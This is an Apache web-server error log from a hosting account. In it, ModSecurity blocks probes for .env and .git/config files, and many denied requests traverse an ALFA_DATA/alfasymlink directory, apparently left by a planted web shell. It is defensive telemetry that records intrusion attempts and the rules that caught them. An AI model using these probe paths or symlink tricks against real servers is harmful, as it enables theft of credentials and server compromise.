[Sun Oct 25 20:58:12.324442 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.148.10.16:50918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6lpKMybP9Ij19IhRsCWgAAAAs"]
[Sun Oct 25 20:58:12.324701 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.148.10.16:50918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6lpKMybP9Ij19IhRsCWgAAAAs"]
[Sun Oct 25 20:58:12.325007 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.148.10.16:50918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6lpKMybP9Ij19IhRsCWgAAAAs"]
[Sun Oct 25 20:58:12.579040 2026] [security2:error] [pid 2913030:tid 2913030] [client 45.148.10.16:50932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6lpNACfKmH39GTPJ9j7wAAAAg"]
[Sun Oct 25 20:58:12.579308 2026] [security2:error] [pid 2913030:tid 2913030] [client 45.148.10.16:50932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6lpNACfKmH39GTPJ9j7wAAAAg"]
[Sun Oct 25 20:58:12.579596 2026] [security2:error] [pid 2913030:tid 2913030] [client 45.148.10.16:50932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at6lpNACfKmH39GTPJ9j7wAAAAg"]
[Sun Oct 25 20:58:12.840552 2026] [security2:error] [pid 2925278:tid 2925278] [client 45.148.10.16:50938] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6lpBaKu-Zjs56a5J4ragAAAAo"]
[Sun Oct 25 20:58:12.840844 2026] [security2:error] [pid 2925278:tid 2925278] [client 45.148.10.16:50938] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6lpBaKu-Zjs56a5J4ragAAAAo"]
[Sun Oct 25 20:58:12.841090 2026] [security2:error] [pid 2925278:tid 2925278] [client 45.148.10.16:50938] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at6lpBaKu-Zjs56a5J4ragAAAAo"]
[Sun Oct 25 20:58:13.193516 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 185.191.171.2:58026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/poison
[Sun Oct 25 20:58:13.878396 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.148.10.16:50976] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6lpaMybP9Ij19IhRsCWwAAAAs"]
[Sun Oct 25 20:58:13.878658 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.148.10.16:50976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6lpaMybP9Ij19IhRsCWwAAAAs"]
[Sun Oct 25 20:58:13.878930 2026] [security2:error] [pid 2925075:tid 2925075] [client 45.148.10.16:50976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6lpaMybP9Ij19IhRsCWwAAAAs"]
[Sun Oct 25 20:58:14.143726 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.235.172.108:30569] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:58:18.060804 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 185.191.171.8:49502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/red_zone
[Sun Oct 25 20:58:26.177778 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 44.194.139.149:26386] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:58:30.140345 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 18.215.24.66:42077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:58:50.154101 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 52.204.71.8:49281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:59:02.151956 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 3.235.215.92:16365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:59:03.756938 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 185.191.171.2:57140] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:59:22.300141 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.94.199.128:39573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:59:26.135766 2026] [core:error] [pid 2932351:tid 2932351] (13)Permission denied: [client 3.212.205.90:18283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/driver/unbind
[Sun Oct 25 20:59:32.990407 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 185.191.171.2:58712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/store_user
[Sun Oct 25 20:59:34.141204 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 35.169.240.53:48782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:59:38.284008 2026] [ssl:error] [pid 2918422:tid 2918422] (5)Input/output error: [client 52.2.191.202:15345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:59:43.782292 2026] [core:error] [pid 2925075:tid 2925075] (13)Permission denied: [client 185.191.171.16:55864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/slabs_cpu_partial
[Sun Oct 25 20:59:46.237601 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 50.16.72.185:31968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:59:58.119552 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 18.208.11.93:18085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:02.213647 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 3.221.244.28:45207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:14.153655 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 18.209.137.234:52081] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_blk/module/uevent
[Sun Oct 25 21:00:18.142256 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.83.240.58:19577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:22.129447 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 3.89.176.255:33954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:26.288176 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 52.201.155.215:37097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:30.246876 2026] [core:error] [pid 2921032:tid 2921032] (13)Permission denied: [client 44.205.192.249:7336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input5/device/driver/unbind
[Sun Oct 25 21:00:34.168290 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 100.28.44.58:56255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:42.267518 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.227.180.70:55555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:46.135976 2026] [security2:error] [pid 2922333:tid 2922333] [client 52.0.63.151:17400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:16/subsystem/devices/device:00/"] [unique_id "at6mPiC9gidsUAz5qdCHqQAAAC8"]
[Sun Oct 25 21:00:46.136023 2026] [security2:error] [pid 2922333:tid 2922333] [client 52.0.63.151:17400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:16/subsystem/devices/device:00/"] [unique_id "at6mPiC9gidsUAz5qdCHqQAAAC8"]
[Sun Oct 25 21:00:50.210698 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 50.19.221.48:61663] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:58.245680 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 98.84.60.17:36602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:00:58.879017 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 85.208.96.195:54344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/order
[Sun Oct 25 21:01:02.142721 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 52.44.148.203:16437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:01:06.196419 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 3.94.156.104:48628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:01:10.158930 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 34.193.2.57:19809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:01:14.178595 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 54.147.182.90:64599] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:16/subsystem/devices/device:04/physical_node/resource4
[Sun Oct 25 21:01:17.811638 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 185.191.171.13:46272] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/slabs
[Sun Oct 25 21:01:22.375004 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 100.29.155.89:12013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:01:25.763222 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 185.191.171.15:54556] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__jump_table
[Sun Oct 25 21:01:26.155193 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 54.87.62.248:4657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/devices/device:03/physical_node/resource1
[Sun Oct 25 21:01:30.129311 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 18.232.11.247:55525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:01:34.128509 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 34.234.200.207:41091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:01:38.211617 2026] [ssl:error] [pid 2919322:tid 2919322] (5)Input/output error: [client 52.71.218.25:56978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:01:50.135160 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 52.203.65.83:20207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:02:01.030237 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 85.208.96.212:62078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/hwcache_align
[Sun Oct 25 21:02:26.294293 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 44.217.177.142:57443] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:02:30.148451 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 34.226.89.140:7437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:02:34.256881 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 52.23.112.144:18107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:02:50.116099 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.84.161.62:61755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:02:54.129704 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.209.174.110:40555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:03:18.222743 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 54.147.80.137:46803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:03:22.129803 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 98.84.70.201:36955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:03:26.175160 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 54.156.124.2:33687] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:03:30.136495 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 98.82.39.241:13450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:03:38.124179 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 23.23.104.107:5233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:03:42.128886 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 23.22.105.143:35414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:03:46.232074 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 184.73.47.24:47353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:05/eject
[Sun Oct 25 21:03:53.037852 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 85.208.96.195:64966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/validate
[Sun Oct 25 21:04:14.184990 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 52.71.216.196:22718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:04:34.121600 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 44.218.170.184:61185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:04:54.188313 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 98.83.10.183:59120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:05:02.123210 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 23.21.175.228:34278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:05:06.201555 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 98.83.226.125:56079] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:05:10.161242 2026] [core:error] [pid 2934234:tid 2934234] (13)Permission denied: [client 52.205.222.214:36394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXCPU:01/subsystem/devices/device:06/physical_node/driver/bind
[Sun Oct 25 21:05:18.126664 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 44.214.19.8:36689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/8250_lpss/new_id
[Sun Oct 25 21:05:22.218509 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 18.215.112.101:7486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0B00:00/physical_node/driver/bind
[Sun Oct 25 21:05:26.126215 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.0.63.151:17087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:05:30.316204 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.215.210.112:15702] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:05:38.188988 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 44.221.180.179:46148] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:05:50.328519 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 18.210.58.238:4371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:05:58.175296 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 34.205.163.103:55097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:06:12.028241 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 185.191.171.1:23340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/total_objects
[Sun Oct 25 21:06:12.616072 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:49846] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6neF7WMIdeUbvmuUTEVAAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:06:12.616128 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:49846] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6neF7WMIdeUbvmuUTEVAAAAAE"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 21:06:18.250799 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 3.227.180.70:27161] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:06:23.025579 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 85.208.96.200:15524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/hwcache_align
[Sun Oct 25 21:06:34.203156 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.205.113.104:4421] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:06:38.209157 2026] [core:error] [pid 2934234:tid 2934234] (13)Permission denied: [client 52.200.54.136:45126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/module/uevent
[Sun Oct 25 21:06:42.156765 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 34.204.150.196:55418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/perf_event/red_zone
[Sun Oct 25 21:06:46.147367 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.23.112.144:34336] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:06:50.227540 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 3.223.134.5:29716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:06:54.139910 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 18.209.201.119:25235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:06:58.117359 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 3.214.176.44:1123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input4/mouse0/device/subsystem/event0/subsystem/input1/device/firmware_node/physical_node1/driver/unbind
[Sun Oct 25 21:07:02.235317 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 44.207.69.106:48100] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:07:06.126990 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 35.168.238.50:10409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:07:22.146547 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 44.210.204.255:48888] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:07:26.132193 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 23.21.179.27:62693] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:07:32.713876 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6nx6MybP9Ij19IhRsCdwAAAAs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 21:07:32.713935 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6nx6MybP9Ij19IhRsCdwAAAAs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 21:07:34.202784 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 44.212.106.171:58138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:07:38.149505 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 54.84.147.79:58876] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:07:46.165434 2026] [ssl:error] [pid 2932351:tid 2932351] (70014)End of file found: [client 34.195.248.30:49490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:08:18.124941 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 184.73.239.35:30738] AH02013: coalesce failed to read from data bucket
